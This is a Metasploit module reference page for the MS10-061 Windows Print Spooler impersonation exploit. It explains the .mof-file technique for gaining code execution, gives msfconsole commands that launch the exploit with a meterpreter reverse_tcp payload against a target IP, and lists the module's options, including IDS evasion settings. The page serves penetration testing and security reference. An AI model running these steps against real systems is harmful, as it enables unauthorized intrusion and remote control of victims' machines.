Microsoft Print Spooler Service Impersonation Vulnerability
This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service to create a file. The working directory at the time is %SystemRoot%\system32. An attacker can specify any file name, including directory traversal or full paths. By sending WritePrinter requests, an attacker can fully control the content of the created file. In order to gain code execution, this module writes to a directory used by Windows Management Instrumentation (WMI) to deploy applications. This directory (Wbem\Mof) is periodically scanned and any new .mof files are processed automatically. This is the same technique employed by the Stuxnet code found in the wild.
Exploit Rank
- Excellent
Exploit Authors
- jduck < jduck [at] metasploit.com >
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows Universal (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/smb/ms10_061_spoolss
msf exploit(ms10_061_spoolss) > show payloads
msf exploit(ms10_061_spoolss) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_061_spoolss) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_061_spoolss) > set RHOST [TARGET IP]
msf exploit(ms10_061_spoolss) > exploit
Exploit Module Options
| PNAME | The printer share name to use on the target |
| RHOST | The target address |
| RPORT | Set the SMB service port (default: 445) |
| SMBPIPE | The named pipe for the spooler service (default: spoolss) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DCERPC::ReadTimeout | The number of seconds to wait for DCERPC responses |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| DCERPC::fake_bind_multi | Use multi-context bind calls |
| DCERPC::fake_bind_multi_append | Set the number of UUIDs to append the target |
| DCERPC::fake_bind_multi_prepend | Set the number of UUIDs to prepend before the target |
| DCERPC::max_frag_size | Set the DCERPC packet fragmentation size |
| DCERPC::smb_pipeio | Use a different delivery method for accessing named pipes (accepted: rw, trans) |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
